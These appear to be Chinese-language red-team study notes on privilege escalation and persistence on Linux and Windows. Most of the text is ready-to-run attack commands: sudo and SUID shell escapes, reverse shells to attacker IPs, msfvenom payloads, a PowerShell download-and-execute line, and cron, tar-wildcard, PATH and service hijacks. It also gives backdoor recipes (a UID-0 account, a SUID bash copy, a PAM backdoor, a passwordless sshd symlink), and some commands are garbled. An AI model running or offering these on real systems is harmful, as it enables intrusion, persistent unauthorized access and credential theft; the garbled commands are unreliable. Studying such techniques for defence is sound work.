权限提升和维持

HVV笔记——权限提升和维持

权限提升Privilege Escalation:普通用户→root(管理员)用户

权限维持:开个后门

1 Linux权限提升

1.1 内核提权

内核提权是利用Linux内核的漏洞进行提权的。一般包括三个环节:

  1. 对目标系统进行信息收集,获取到系统内核信息以及版本信息;
  2. 根据内核版本获取其对应的漏洞以及EXP;
  3. 使用找到的EXP对目标系统发起攻击,完成提权操作。

1.1.1 内核与发行版

Linux内核版本:

https://www.kernel.org

查看Linux操作系统的内核版本和相关信息:

cat /etc/issue 查看ubuntu的版本
cat /etc/*-release 查看centos的版本
uname -a 查看系统全部信息
uname -r 查看内核版本

在这里插入图片描述

1.1.2 内核漏洞

  • Dirty COW(Copy On Write) CVE-2016-5195

  • Dirty Pipe CVE-2022-0847

  • Dirty Cred CVE-2022-2588

  • Linux Polkit CVE-2021-4034

  • CVE内核漏洞查询

    https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33

1.1.3 漏洞利用

根据前面查询到的内核版本号在Kali中查找

msfconsole
searchsploit linux 3.10

然后根据显示出来的Path,复制该文件到当前目录,比如

searhsploit -m 1024.c

至于漏洞利用就搜寻互联网吧。

1.2 SUDO提权

SUDO=Super User Do(以root身份运行程序)

1.2.1 提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作,编辑方法(root权限):visudo

具体的格式如下:

在这里插入图片描述

1.2.2 命令的权限

有些命令设置了可以无密码sudo,可以执行以下命令查看(需要一定的权限或者知道当前用户的密码):

cat /etc/sudoers
sudo -l

1.2.3 权限提升

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen

比如sudoers文件中添加了以下内容:

hacker ALL=(root) NOPASSWD:/usr/bin/awk
hacker ALL=(root) NOPASSWD:/usr/bin/vim
hacker ALL=(root) NOPASSWD:/usr/bin/man
hacker ALL=(root) NOPASSWD:/usr/bin/less
hacker ALL=(root) NOPASSWD:/usr/bin/find
hacker ALL=(root) NOPASSWD:/usr/bin/zip
hacker ALL=(root) NOPASSWD:/usr/bin/git

提权的命令:

#################################
#**********一条命令提权的**********#
#################################
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
#################################
#**********两条命令提权的**********#
#################################
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

1.2.4 提升复现

sudoers文件中添加如下命令,使得当前普通用户具有find命令的sudo权限:

xuni ALL=(root) NOPASSWD:/usr/bin/find

切换到当前普通用户,执行如下命令:

sudo find /etc/passwd -exec /bin/sh \;

即可获得root权限

在这里插入图片描述

1.2.5 堆缓冲区溢出漏洞

该漏洞是sudo工具基于堆缓冲区溢出漏洞,漏洞编号为CVE-2021-3156。

漏洞概述

当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。

影响范围

  • sudo 1.8.2-1.8.31p2
  • sudo 1.9.0-1.9.5p1

漏洞复现

查看sudo版本

sudo -V

简单测试漏洞是否存在:

  • 如果返回sudoedit: /: not a regular file,则当前系统可能存在安全风险;
  • 若显示以usage:开头的错误,则为不受影响的系统。
sudoedit -s /

比如此次测试的sudo版本虽然是1.8.23,但是不存在类似漏洞

在这里插入图片描述

如果存在漏洞,可以执行以下命令测试:

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
###### list targets
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich <target_number>

有篇文章提供了另一个思路,但是本人没有复现成功。实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)

1.3 SUID提权

SUID=Set UID(以程序所有者身份运行程序)

1.3.1 SUID权限

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的:

在这里插入图片描述

注意

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
  2. 命令执行者要对该程序文件拥有执行(x)权限
  3. 命令执行者在执行该程序时获得该程序文件属主的身份
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename  设置SUID
chmod 4755 filename  设置SUID
chmod u-s filename  去掉SUID设置

1.3.2 SUID提权原理

利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令。
常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv

1.3.3 查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

  1. find 是查找文件的命令

  2. / 是从根目录开始查找

  3. -user root 是文件的所属者是root

  4. -perm -4000

    -perm匹配权限
    4000 2000 1000分别表示SUID SGID SBIT
    1.普通文件,文件的权限一般三位,777最高文件权限
    -perm -0777搜索的就是最高权限的文件rwxrwxrwx
    -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
    2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
    -perm -7000搜索的就是最高权限的文件–s–s–t
    -perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — –
    t(1000)等
    
  5. -print 2>/dev/null 将标准错误输入到/dev/null文件

find / -perm -u=s -type f 2>/dev/null

  1. -perm -u=s 查找有s权限
  2. -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

find / -user root -perm -4000 -exec ls {} \;

  1. -user root 是文件的所属者是root
  2. -exec ls -ldb {}; 执行 ls -ddb命令

1.3.4 提升复现

以下命令都是默认没有开启suid权限的,需要用户开启。

find

在这里插入图片描述

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;      #普通用户
find . -exec /bin/sh -p \; -quit  #root用户

bash

bash命令是用来打开一个shell。同时它也有执行命令的能力。

在这里插入图片描述

vim

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

方式一,利用vim添加账号:

vim /etc/passwd     #添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow     #添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7:::     #密码是123456

方式二,利用vim打开交互shell:

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

在这里插入图片描述

python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

perl

echo 'exec("/bin/sh")' > a.pl
perl a.pl

wget curl

sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
sudo curl http://192.168.56.1:8080/passwd -o /etc/passwd

awk

awk 'BEGIN{system("/bin/bash")}'

nmap

nmap的2.02-5.21版本具有--interactive选项,可以进入交互模式执行系统命令

nmap --interactive

!sh 

echo 'os.execute("/bin/sh")' > fuck_root.nse
nmap --script=fuck_root.nse

1.3.5 反弹 shell

前提:目标机的bash命令具有suid权限。

攻击机:kali2022 192.168.101.131

目标机:centos7.9 192.168.101.130

攻击机开启端口监听:

nc -lvp 8888

目标机反弹shell:

bash -i >&/dev/tcp/192.168.101.131/8888 0>&1

攻击机获取shell后提权:

bash -p

在这里插入图片描述

1.4 第三方服务提权

Redis、NFS、MySql、Docker、Git……

提权辅助器

1.4.1 linux-exploit-suggester

下载

git clone https://github.com/The-Z-Labs/linux-exploit-suggester.git
#或者
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

使用

#1.评估当前Linux在公开的已知漏洞上的曝光情况:
$ ./linux-exploit-suggester.sh
#2.显示当前Linux机器上安全功能的状态
$ ./linux-exploit-suggester.sh --checksec
#3.根据提供的'uname'字符串(即uname -a命令的输出)评估Linux内核在公开已知漏洞中的暴露情况
$ ./linux-exploit-suggester.sh --uname <uname-string>

另一个版本

git clone https://github.com/jondonas/linux-exploit-suggester-2.git
chmod +x linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

1.4.2 LinEnum

git clone https://github.com/rebootuser/LinEnum.git
chmod +x /tmp/linEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt

1.5 计划任务提权

1.5.1 计划任务

Linux计划任务命令如下:

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在/etc/cron*下:

在这里插入图片描述

计划任务的格式

分 时 日 月 周 用户 命令

在这里插入图片描述

1.5.1 提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权。

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下:

find / -user root -perm -4000 -print 2>/dev/null #查找SUID文件
find / -perm 777 -print 2>/dev/null #查找777文件

1.5.2 提权准备

  1. 先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准
    备一个sh文件或者python文件都可以,我们写一个linux运维脚本bash_os.sh,来监控当前电脑的运行参数:

    function bash_os() {
        # "系统基础信息"
        #内核信息
        kernel=$(uname -r)
        #操作系统版本
        release=$(cat /etc/redhat-release)
        #主机名称
        hostname=$HOSTNAME
        #当前时间及运行时间
        dateload=$(uptime | awk -F "," '{print $1}')
        # 当前登录用户数
        users=$(uptime | awk -F "," '{print $2}')
        echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
        echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
        echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt
        echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
        echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
        echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
        echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >> /tmp/bash_os.txt
        echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
        echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
        echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
    }
    bash_os
    
  2. 将文件的权限设置成777

    chmod 777 bash_os.sh
    
  3. 该脚本运行后的内容写到 /tmp/bash_os.txt文件中

    在这里插入图片描述

  4. 将文件设置成计划任务,编辑内容如下,一定是普通用户:

    vim /cat/crontab 
    #分 时 日 月 周 用户 命令
    */1 * * * * root /bash_os.sh
    
    service crond status 查看计划任务启动
    service crond restart 重启计划任务
    

1.5.3 提权复现

  1. 需要先拿到一个webshell,或者MSF的shell,或者CS的shell。这里使用MSF的shell:

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.101.130 LPORT=8888 -f elf > mshell.elf
    
  2. 将生成的mshell.elf上传到靶机里

  3. 攻击机打开msfconsole,执行如下命令

    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost 192.168.101.130
    set lport 8888
    run
    
  4. 查询计划任务,发现存在一个sh文件并且是root运行的

    vim /cat/crontab
    
  5. 接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

    ls -al /bash_os.sh
    #输入反弹shell的命令在sh文件中进行追加
    echo "bash -i >& /dev/tcp/192.168.101.131/9876 0>&1" >> /bash_os.sh
    
  6. 使用NC接收等待反弹shell的连接,得到root权限

1.6 环境变量劫持提权

1.6.1 提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH

攻击者可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的。

1.6.2 提权准备

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下(执行查看shadow文件命令,setuid规定了其运行用户,以root权限进行编译和权限设置)

#include<unistd.h>
void main() {
	setuid(0);
	setgid(0);
	system("cat /etc/shadow");
}

然后使用gcc编译

gcc demo.c -o shell

运行./shell就是打开shadow文件

赋予shell文件SUID权限

1.6.3 提权复现

同1.5一样,先上线靶机,用命令查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
echo "/

发现一个shell文件(位置为/home/shell),运行发现是查看/etc/shadow的命令。

那么我们劫持cat命令,达到提权的目的

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami

1.7 利用通配符(WS)进行提权

1.7.1 提权原理

在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析

*    代表任意数量的字符
?    字符代表单个字符
[]    匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

如果创建三个文件:

echo "1" > file1
echo "2" > file2
echo "3" > --help

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help
的命令,这种类型的技巧称为Wildcard wildness。

在这里插入图片描述

如果执行ls *就会执行ls --help

为利用这个漏洞,需要用到tar这个命令。首先,tar命令可以使用通配符进行压缩

tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下

tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

在这里插入图片描述

1.7.2 提权准备

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权

*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

首先上线靶机,并且发现靶机中有计划任务,是滥用通配符的,而且是root权限才可以。

1.7.3 提权复现

在/var/www/html下创建两个文件如下

echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh

攻击机使用NC进行监听即可。

1.8 破解明文密码提权

1.8.1 提权原理

/etc/passwd是全用户可读,root可写的。/etc/shadow是仅root可读写的。如果管理员的passwd和shadow一些权限配置不当,就可能被破解密码。

1.8.2 提权准备

目标机的shadow文件需要:

1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

1.8.3 提权复现

直接破解就行了。

比如使用john

john -wordlist=2.txt + shadow.txt

1.9 MySQL提权

这里借记下大佬的文章:MySQL提权

2 Linux权限维持

防止杀毒、杀进程、关端口、打补丁等操作

前提条件:假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限

2.1 webshell

各种编程语言的木马。

2.2 定时任务(计划任务)

crontab -u root -l   #查看
crontab -u root -r   #删除
crontab -u root -e   #添加

比如添加如下定时任务

* * * * * bash -i >& /dev/tcp/攻击机的IP/端口号 0>&1

Kali中开启监听即可

nc -lvvp 端口号

2.3 SUID后门

使用root用户执行如下命令,将bash复制为一个隐藏文件并赋予相应权限

cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack

这时使用普通用户执行如下命令即可得到root身份

/var/.hack -p

2.4 SSH Key免密登录

攻击机生成一对密钥,此处用Kali

ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub

将Kali生成的公钥写入到目标机

cd /root/.ssh
vim authorized_keys

当然,正常情况下是利用漏洞写入。

然后连接即可

#Kali机器
ssh root@目标机IP

2.5 添加用户

往shadow文件里添加。

首先生成密码

openssl passwd -1 -salt admin 123456

##    -1 的意思是使用md5crypt加密算法
##    -salt 指定盐为admin
##    123456 明文密码

追加的方式添加用户(UID=0

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

这时攻击机即可连接

ssh root@目标机IP

2.6 PAM后门

登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。

  1. 在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。

    setenforce 0
    
  2. 查看pam版本号

    rpm -qa|grep pam
    
  3. 下载并解压对应版本的pam源码包

    wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
    tar -zxvf Linux-PAM-1.1.8.tar.gz
    
  4. 安装gcc编译器和flex库

    yum install gcc flex flex-devel -y
    
  5. 留 PAM 后门和保存 ssh登录的账户密码

    修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码:

    cd Linux-PAM-1.1.8
    vim modules/pam_unix/pam_unix_auth.c
    
  6. 编译

    cd ../../
    ./configure
    make
    
  7. 备份和替换原有的 pam_unix.so

    cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp
    cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
    
  8. 登录测试

    ssh root@目标机IP
    

2.7 PAM软链接

2.7.1 PAM介绍

PAM认证一般遵循这样的顺序:Service(服务)→PAM(配置文件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证。对于不同的服务器应用程序所对应的PAM模块也是不同的。

查看支持PAM的程序

ls /etc/pam.d

2.7.2 软链接介绍

软连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。

ln -fs 原文件 目标文件
ln -fs /var/www/1.txt test.txt
########
-f, --force     #强行删除任何已存在的目标文件
-s, --symbolic  #制作符号链接而不是硬链接

2.7.3 后门原理

ssd软连接是 Linux下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是pam_rootok.so模块,
pam_rootok.so模块的功能是若用户UID是0,返回成功,当 /etc/pam. d/ssh文件配置了auth sufficient pam_rootok.so时可以不需要密码登录。当在被控制端执行命令

ln -sf /usr/sbin/shd /tmp/su;/tmp/suoPort=
1234

建立shd的软连接后门,PAM认证时会根据软连接的名字到/etc/pam. d目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了/ 'etc/pam. d/su,而“su”中默认配置了auth sufficient pam_rootok.so,从而导致SSH可以不需要密码登录。

2.7.4 软连接维持

首先判断目标机SSH是否开启了PAM认证

cat /etc/ssh/sshd_config|grep UsePAM

查看pmd.m文件下哪些文件配置了pam_rootok

find /etc/pam.d |xargs grep "pam_rootok"

以root权限建立软连接

ln sf
/usr/sbin/sshd /tmp/chsh;/tmp/chsh oPort=
23333
#建立sshd的软链接,并更改端口为23333

进行登录

ssh root@[IP地址] -p [后门端口] 不需要密码

3 Windows权限提升

windows提权一般是提权到administrator或者system权限,在Windows中的用户账号一般分为以下几个:

1、本地普通用户
2、本地一般管理员
3、本地最高管理员
4、域内普通用户
5、域内管理员

新建的用户一般默认是user组。

比如使用如下命令创建一个用户(必须是管理员打开的cmd)

net user hack admin@123 /add

3.1 系统内核溢出漏洞提权

溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出提权又分为远程溢出和本地溢出。远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程服务器的 Windows操作系统Systen权限。本地溢出是主流的提权方式,通常需要向服务器上传本地溢出程序,然后在服务器执行,如果系统存在漏洞,那么将会溢出获得 Windows操作系统System权限。

3.1.1 缓冲区提权的步骤

  1. 信息收集,例如查看当前权限,查看版本、补丁等
  2. 根据收集到的信息确定可利用漏洞
  3. 根据漏洞查找EXP
  4. 使用EXP提权。

获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁

#查看系统信息
systeminfo
#查看所安装的补丁的详细信息
wmic qfe get caption,description,hotfixid,installedon
#查看当前用户的权限
whoami /groups

3.1.2 常见补丁对应漏洞

https://github.com/SecWiki/windows-kernel-exploits

使用方法:

https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester

#更新数据库
./windows-exploit-suggester.py --update
#安装依赖
pip install xlrd --upgrade
#将systeminfo信息与数据库对比
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
#查询指定系统可能有的漏洞
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2' 

3.1.3 使用msf提权

使用MSF提权必选先上线到MSF然后使用如下的插件进项提权扫描

getsystem 提权 一般是将管理员提升到system
use post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester

首先利用msf生成的shell上线靶机

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(64位)

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit

使用getsystem命令自动提权

meterpreter > getsystem

使用脚本检测可以利用的提权模块

use post/multi/recon/local_exploit_suggester
set session ID
run

3.1.4 在线辅助提权

https://i.hacking8.com/tiquan
http://bugs.hacking8.com/tiquan/

3.1.5 wesng提权

这里借MS16-032来演示

wesng是帮助检测Windows安全缺陷的辅助攻击,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议。

将wesng下载到本地主机上,先升级最新的漏洞数据库。

python wes.py --update

将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查。

python wes.py systeminfo.txt

下载https://www.exploit-db.com/exploits/39719里面的漏洞利用

Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032
python wes.py systeminfo.txt --impact "Remote Code Execution"
python wes.py systeminfo.txt --impact "Remote Code Execution" -e

3.1.6 EXP如何搜索

https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits

3.2 系统错误配置提权

3.2.1 提权原理

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

如果在注册表中存在没有被引用起来的服务路径,比如

C:\Program Files\Some Folder\Service.exe

因为Program FilesSome Folder都存在空格,就可能存在截断,系统依次寻找如下的程序并且执行阶段如下:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

我们只需要在相应的目录下制作一个恶意的程序,达到提权的目的即可,所以提权的条件如下:

1、服务路径没有用引号引起来
2、服务的路径中存在空格
3、服务以最高权限启动后
4、当前权限具有到对应目录下写文件

3.2.2 提权准备

首先创建一个服务,或者自己安装一个软件,路径中存在空格,并且服务的路径中没有引号

sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe"
start= auto

查询服务的启动方式和权限

sc qc service

这里需要是system权限和自动启动,而且普通的用户需要有向文件下的写权限。

查询权限

icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

修改权限

icacls "C:" /grant "BUILTIN\Users":W
#其中  W写权限,R读权限,X执行权限,F完全访问权限,M修改权限

3.2.3 提权复现

前提是已经拿到了shell

使用命令查找没有配置引号,和带有空格的服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |
findstr /i /v "C:\\Windows\\" | findstr /i /v """

根据发现的服务,检查具有文件写入的权限,例如:

shell icacls "C:"
shell icacls "C:\Program Files"
shell icacls "C:\Program Files\Common Files"

做一个Program.exe运行恶意软件,即可上线

#include<stdio.h>
#include<stdlib.h>
int main(){
	system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
	return 0;
}

3.3 PATH环境变量提权

PATH环境变量包含很多目录列表,某些执行程序的方法(即使用cmd.exe或命令 行)仅依赖PATH环境变量来确定未提供程序路径时搜索程序的位置。

3.3.1 提权原理

当用户 在cmd命令行中运行一个命令时,若是没有使用绝对路径运行,如C:\Windows\System32\ipconfig.exe,直接在cmd中行“ipconfig”,那么Windows会先在当前目录寻找ipconfig.exe,若是没找到,则会根据PATH环境变量里的目录依次去寻找。

通常新增PATH环变量是在最后面添加,若是由于配置不当,导致在最前面新增了 PATH环境变量,那么在此目录下新建与常用系统命令一样名字的exe程序会优先执行。

3.3.2 提权准备

在环境变量最前面添加一个路径。比如C:\inetpub\wwwroot

3.3.3 提权复现

先获取靶机shell。

查找环境变量,发现前面有有一个 C:\inetpub\wwwroot

wmic ENVIRONMENT where "name='path'" get UserName, VariableValue

制作恶意的程序ipconfig.exe

#include<stdio.h>
#include<stdlib.h>
int main(){
	system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
	return 0;
}

将软件上传到C:\inetpub\wwwroot。当管理员运行该程序后即可上线。

3.4 不安全的服务提权

3.4.1 提权原理

通常 Windows服务都是以 System权限运行的,当由于系统管理员错误配置导致低权限用户可以对某些服务修改时,可以通过修改服务启动文件的路径“ binpath”,将其替换为恶意程序的路径,这样服务启动时便会运行恶意程序。

3.4.2 提权准备

建立一个服务,名字为fuwu,运行C盘下的1.exe

sc create fuwu binpath= "C:\1.exe"

使用subinacl给服务设置权限

subinacl /service fuwu /grant=apache=F

3.4.3 提权复现

首先获取靶机shell

这里借助Access Chk工具快速发现配置不当的服务,下面先简单介绍这个工具。通过 AccessChk可以了解特定用户或组对资源的访问权限,包括文件、目录、注册表项、全局对象和 Windows服务。

用法介绍命令
查看用户/用户组对文件文件夹的权限accesschk 用户/用户组文件件夹
列出所有服务的权限accesschk.exe -ucqv *
查看用户/用户组具有写权限的服务accesschk 用户/用户组 -cw *
要查看用户/用户组对 HKEY LOCAL MACHINE、Software目录下注册表项的权限accesschk -k 用户/用户组 hkl\software
查看每个人都可以修改的全局对象accesschk -wuo everyone \

比如查看apache的权限

accesschk apache -cw * /accepteula

如果apache具有RW权限即可利用。

更改fuwu服务的启动文件,替换成恶意的文件然后提权。

sc config fuwu binpath= "C:\USERS\apache\Desktop\1.exe"

将恶意的文件替换上去

#include<stdio.h>
#include<stdlib.h>
int main(){
	system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
	return 0;
}

启动服务

sc start fuwu

3.5 不安全注册表提权

3.5.1 提权原理

Windows的服务路径存储在Windows的注册表中,若注册表配置不当,当攻击者可以发现使用低权限可以更改注册表的选项的时候,就可以导致提权,可以将imagepath修改成恶意的文件,重启导致提权。

3.5.2 提权准备

新建一个服务test

sc create test binpath="C:\1.exe"

打开注册表给该文件完全控制的权限,或者使用工具:

shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\wanli"
/grant=apache=f

3.5.3 提权复现

首先还是靶机上线。

查询靶机中的所有服务

sc query type= all state= all |findstr /i service_name.* |more

使用subinacl进行查询提权

shell subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\test" /display

查询该服务的imagepath

reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\test /v imagepath

替换该文件为恶意的文件或者修改文件的路径

#include<stdio.h>
#include<stdlib.h>
int main(){
	system("cmd.exe /c C:\\USERS\\apache\\Desktop\\1.exe");
	return 0;
}
reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\services\test" /t REG_EXPAND_SZ /v ImagePath /d "C:\USERS\\apache\Desktop\1.exe" /f

查询是否替换

reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\test /v imagepath

但这个时候apache是没有权限启动服务的,需要管理员重启电脑.

sc strat test

3.6 注册表键AlwaysInstall提权

3.6.1 提权 原理

注册表键AlwaysInstallElevated是一个策略设置项。windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

3.6.2 提权准备

查看Windows installer特权功能是否已启用

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果没有启用则执行后续操作:

运行中输入gpedit.msc打开组策略管理器

计算机配置→管理模板→Windows 组件→Windows Installer

设置”永远以高特权进行安装“为已启用。

同样在用户配置中也需要配置

用户配置→管理模板→Windows组件→Windows Installer

还要设置普通程序的安装可行性

Windows设置→管理模板→Windows组件→Windows Installer,设置”禁用Windows Installer“为已启用、从不。

以上操作也可以使用命令修改:

